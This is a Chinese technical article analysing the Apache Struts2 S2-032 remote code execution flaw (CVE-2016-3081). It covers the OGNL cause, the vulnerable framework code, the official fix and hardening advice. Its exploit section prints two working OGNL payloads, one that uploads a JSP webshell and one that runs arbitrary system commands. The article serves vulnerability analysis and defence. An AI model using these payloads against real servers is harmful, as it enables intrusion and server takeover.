当前位置: 首页 > 编程笔记 >

Struts2 漏洞分析及如何提前预防

柳均
2023-03-14
本文向大家介绍Struts2 漏洞分析及如何提前预防,包括了Struts2 漏洞分析及如何提前预防的使用技巧和注意事项,需要的朋友参考一下

    2016年4月26日,Apache Struts2官方又发布了一份安全公告:Apache Struts2 服务在开启动态方法调用的情况下可以远程执行任意命令,官方编号 S2-032,CVE编号 CVE-2016-3081。这是自2012年Struts2命令执行漏洞大规模爆发之后,该服务时隔四年再次爆发大规模漏洞。该漏洞也是今年目前爆出的最严重安全漏洞。黑客利用该漏洞,可对企业服务器实施远程操作,从而导致数据泄露、远程主机被控、内网渗透等重大安全威胁。

    漏洞发生后,又是一次安全和相关公司的一次集体盛会,漏洞利用者在尽可能的利用此次漏洞来显示水平的高超;各大众测平台纷纷发布中招公司,来提升平台的作用;各大安全公司也充分利用此次漏洞来提高公司的影响力,借势营销,什么免费检测,第一时间升级等。还剩一大堆郁闷的厂家,我没招谁没惹谁啊;然后就是大量的苦闷的开发运维人员要连夜升级漏洞补丁。

    但是对漏洞的原理危害影响防护等少有提及。本文就是针对以上几点提出自己的见解。

原理

    这个漏洞是利用struts2的动态执行OGNL来访问任意java代码的,利用该漏洞,可以扫描远程网页,判断是否存在该类漏洞,进而发送恶意指令,实现文件上传,执行本机命令等后续攻击。

    OGNL是Object-Graph Navigation Language的缩写,全称为对象图导航语言,是一种功能强大的表达式语言,它通过简单一致的语法,可以任意存取对象的属性或者调用对象的方法,能够遍历整个对象的结构图,实现对象属性类型的转换等功能。

#、%和$符号在OGNL表达式中经常出现

1.#符号的用途一般有三种。

访问非根对象属性,例如#session.msg表达式,由于Struts 2中值栈被视为根对象,所以访问其他非根对象时,需要加#前缀;用于过滤和投影(projecting)集合,如persons.{?#this.age>25},persons.{?#this.name=='pla1'}.{age}[0];用来构造Map,例如示例中的#{'foo1':'bar1', 'foo2':'bar2'}。

2.%符号

%符号的用途是在标志的属性为字符串类型时,计算OGNL表达式的值,这个类似js中的eval,很暴力。

3.$符号主要有两个方面的用途。

在国际化资源文件中,引用OGNL表达式,例如国际化资源文件中的代码:reg.agerange=国际化资源信息:年龄必须在${min}同${max}之间; 在Struts 2框架的配置文件中引用OGNL表达式。

代码利用流程

1、客户端请求

http://{webSiteIP.webApp}:{portNum}/{vul.action}?method={malCmdStr}

2、DefaultActionProxy的DefaultActionProxy函数处理请求。

protected DefaultActionProxy(ActionInvocation inv, String namespace, String actionName, String methodName, boolean executeResult, boolean cleanupContext) {
  this.invocation = inv;
  this.cleanupContext = cleanupContext;
  LOG.debug("Creating an DefaultActionProxy for namespace [{}] and action name [{}]", namespace, actionName);
 
  this.actionName = StringEscapeUtils.escapeHtml4(actionName);
  this.namespace = namespace;
  this.executeResult = executeResult;
  //攻击者可以通过变量传递、语法补齐、字符转义等方法进行绕过。
  this.method = StringEscapeUtils.escapeEcmaScript(StringEscapeUtils.escapeHtml4(methodName));
}

3、DefaultActionMapper的DefaultActionMapper方法method方法名

String name = key.substring(ACTION_PREFIX.length());
if (allowDynamicMethodCalls) {
   int bang = name.indexOf('!');
   if (bang != -1) {
     //获取方法名
     String method = cleanupActionName(name.substring(bang + 1));
     mapping.setMethod(method);
     name = name.substring(0, bang);
  }
}

4、调用DefaultActionInvocation 的invokeAction方法执行传入的方法。

protected String invokeAction(Object action, ActionConfig actionConfig) throws Exception {
  String methodName = proxy.getMethod();
 
  LOG.debug("Executing action method = {}", methodName);
 
  String timerKey = "invokeAction: " + proxy.getActionName();
  try {
    UtilTimerStack.push(timerKey);
 
    Object methodResult;
    try {
      //执行方法
      methodResult = ognlUtil.getValue(methodName + "()", getStack().getContext(), action);
    } catch (MethodFailedException e) {

解决办法

官方的解决办法是在第三步中的函数cleanupActionName增加了校验。

protected Pattern allowedActionNames = Pattern.compile("[a-zA-Z0-9._!/\\-]*");
protected String cleanupActionName(final String rawActionName) {
  //校验,输入过滤正则匹配("[a-zA-Z0-9._!/\\-]*"),这是采取白名单方式,只允许大小写字母、数字等有限字符。
  if (allowedActionNames.matcher(rawActionName).matches()) {
    return rawActionName;
  } else {
    if (LOG.isWarnEnabled()) {
      LOG.warn("Action/method [#0] does not match allowed action names pattern [#1], cleaning it up!",
          rawActionName, allowedActionNames);
    }
    String cleanActionName = rawActionName;
    for (String chunk : allowedActionNames.split(rawActionName)) {
      cleanActionName = cleanActionName.replace(chunk, "");
    }
    if (LOG.isDebugEnabled()) {
      LOG.debug("Cleaned action/method name [#0]", cleanActionName);
    }
    return cleanActionName;
  }
}

修复建议

1、禁用动态方法调用

修改Struts2的配置文件,将“struts.enable.DynamicMethodInvocation”的值设置为false,比如:

<constantname="struts.enable.DynamicMethodInvocation" value="false"/>;

2、升级软件版本

升级Struts版本至2.3.20.2、2.3.24.2或者2.3.28.1

补丁地址:https://struts.apache.org/download.cgi#struts23281

漏洞利用代码

1、上传文件:

method:%23_memberAccess%[email]3d@ognl.OgnlContext[/email]@DEFAULT_MEMBER_ACCESS,%23req%3d%40org.apache.struts2.ServletActionContext%40getRequest(),%23res%3d%40org.apache.struts2.ServletActionContext%40getResponse(),%23res.setCharacterEncoding(%23parameters.encoding[0]),%23w%3d%23res.getWriter(),%23path%3d%23req.getRealPath(%23parameters.pp[0]),new%20java.io.BufferedWriter(new%20java.io.FileWriter(%23path%2b%23parameters.shellname[0]).append(%23parameters.shellContent[0])).close(),%23w.print(%23path),%23w.close(),1?%23xx:%23request.toString&shellname=stest.jsp&shellContent=tttt&encoding=UTF-8&pp=%2f

上面的代码看起来有点不方便,我们进行转换一下在看看。

method:#_memberAccess=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,
#req=@org.apache.struts2.ServletActionContext@getRequest(),
#res=@org.apache.struts2.ServletActionContext@getResponse(),
#res.setCharacterEncoding(#parameters.encoding[0]),
#w=#res.getWriter(),
#path=#req.getRealPath(#parameters.pp[0]),
new java.io.BufferedWriter(new java.io.FileWriter(#path+#parameters.shellname[0]).append(#parameters.shellContent[0])).close(),
#w.print(#path),
#w.close(),1
?#xx:#request.toString&
shellname=stest.jsp&
shellContent=tttt&
encoding=UTF-8&pp=/

2、执行本地命令:

method:%23_memberAccess%3d@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,%23res%3d%40org.apache.struts2.ServletActionContext%40getResponse(),%23res.setCharacterEncoding(%23parameters.encoding[0]),%23w%3d%23res.getWriter(),%23s%3dnew+java.util.Scanner(@java.lang.Runtime@getRuntime().exec(%23parameters.cmd[0]).getInputStream()).useDelimiter(%23parameters.pp[0]),%23str%3d%23s.hasNext()%3f%23s.next()%3a%23parameters.ppp[0],%23w.print(%23str),%23w.close(),1?%23xx:%23request.toString&cmd=whoami&pp=\\A&ppp=%20&encoding=UTF-8

同样我们经过转换在看一下

method:#_memberAccess[#parameters.name1[0]]=true,
#_memberAccess[#parameters.name[0]]=true,
#_memberAccess[#parameters.name2[0]]={},
#_memberAccess[#parameters.name3[0]]={},
#res=@org.apache.struts2.ServletActionContext@getResponse(),
#res.setCharacterEncoding(#parameters.encoding[0]),
#w#d#res.getWriter(),
#s=new java.util.Scanner(@java.lang.Runtime@getRuntime().exec(#parameters.cmd[0]).getInputStream()).
useDelimiter(#parameters.pp[0]),
#str=#s.hasNext()?#s.next():#parameters.ppp[0],#w.print(#str),#w.close(),1?
#xx:#request.toString&name=allowStaticMethodAccess&name1=allowPrivateAccess&name2=excludedPackageNamePatterns&name3=excludedClasses&cmd=whoami&pp=\\A&ppp= &encoding=UTF-8

通过之前的介绍,发现转换后还是比较容易理解的。

如何预防

    安全中有个非常重要的原则就是最小权限原则。所谓最小特权(Least Privilege),指的是"在完成某种操作时所赋予网络中每个主体(用户或进程)必不可少的特权"。最小特权原则,则是指"应限定网络中每个主体所必须的最小特权,确保可能的事故、错误、网络部件的篡改等原因造成的损失最小"。

    比如在系统中如果没有用到动态方法调用,在部署的时候就去掉,这样即使补丁没有打,依然不会被利用。

    在这个系统中最重要的危害之一是执行本地进程,如果系统没有执行本地进行的需求,也可以禁用。

我们看一下java代码中执行本地命令的代码,ProcessImpl中的ProcessImpl。

 private ProcessImpl(String cmd[],
            final String envblock,
            final String path,
            final long[] stdHandles,
            final boolean redirectErrorStream)
    throws IOException
  {
    String cmdstr;
    SecurityManager security = System.getSecurityManager();
    boolean allowAmbiguousCommands = false;
    if (security == null) {
      allowAmbiguousCommands = true;
      //jdk已经指定了参数来标识是否可以执行本地进程。
      String value = System.getProperty("jdk.lang.Process.allowAmbiguousCommands");
      if (value != null)
        allowAmbiguousCommands = !"false".equalsIgnoreCase(value);
    }
    if (allowAmbiguousCommands) {

在java启动的时候加上参数 -Djdk.lang.Process.allowAmbigousCommands=false,这样java就不会执行本地进程。

如果在系统部署的时候能提前把不必要的内容关掉,可以会减少或者杜绝这个漏洞的危害。

 类似资料:
  • 讲师:gh0stkey 整理:飞龙 协议:CC BY-NC-SA 4.0 提权,顾名思义就是提高自己在服务器中的权限,就比如在 Windows 中你本身登录的用户是 guest,通过提权后就变成超级管理员,拥有了管理 Windows 的所有权限。提权是黑客的专业名词,一般用于网站入侵和系统入侵。本讲义所讲的是基于 WebShell 的菜刀管理下提权。 基本 Dos 命令、常识 whoami:查看当

  • 讲师:gh0stkey 整理:飞龙 协议:CC BY-NC-SA 4.0 任意密码找回 这是补天平台上的一个案例: http://www.118114.cn/reg.jsp 首先注册一个账号,然后找回。 我们收到的验证码是六位数。如果网站没有设置频率限制,或者最大尝试次数限制的话,那我们自然就会想到可以爆破它。 然后抓提交手机验证码的封包,我们可以看到没有任何图片验证码: 发送到 Burp 的 I

  • 在我创建了一个新的Angular 12.0.3项目后,立即检测到8个高漏洞和40个中等漏洞。 当尝试使用修复问题时,没有任何变化。将漏洞减少到9个中度漏洞和7个高度漏洞,但当我尝试运行项目时,由于版本不匹配,会显示以下错误: 我已经尝试按照此答案中描述的解决方案修复漏洞,但这破坏了项目。 此外,我使用angle-cli的v11-lts创建了一个项目,但同样的问题伴随着不同的漏洞: 有没有办法,修复

  • 我对CVE-2022-22950和相应的Spring建议有点困惑。后者表示,可以通过以下方式利用该漏洞: […]巧尽心思构建的SpEL表达式[…] 但是,允许用户制作SpEL表达式的应用程序允许这些用户做几乎任何事情。包括代码注入,它对机密性、完整性和可用性有充分的影响。这里还有很多其他DoS机会。以这个SpEL片段为例,它执行命令: 这个命令是相当无害的,但它可以被任何东西替代!现在,SpEL支

  • 问题内容: 当我运行它说npm audit fixnpm audit。 但是,输出 这是否意味着它不应该由用户修复? 当我运行它时,它会给我表的列表,类似于此: 在此示例中,链接页面的补救部分说。但是,其中有几行: 不再有lodash依赖项。因此它应该已经是v4.17.5。我还检查了哪条线。在有这些线路: 我认为该版本显示在“ _id”中,而不是在“ _from”中,因此版本是正确的,但漏洞仍会出

  • 1. 简介 漏斗模型主要用于分析多步骤过程中每一步的转化与流失情况。您可以使用漏斗分析工具来分析网站中某些关键路径的转化率,以确定整个流程的设计是否合理,是否存在优化空间等。同时,您可以在关键路径中找出流失人群进再分析、再挽回、再投放。另外,通过用户对比,或者按某个维度分组,能够精确定位问题,针对性地改善产品策略。 2. 使用说明 2.1 新建漏斗 点击【分析云】左侧导航栏的【漏斗分析】,点击“新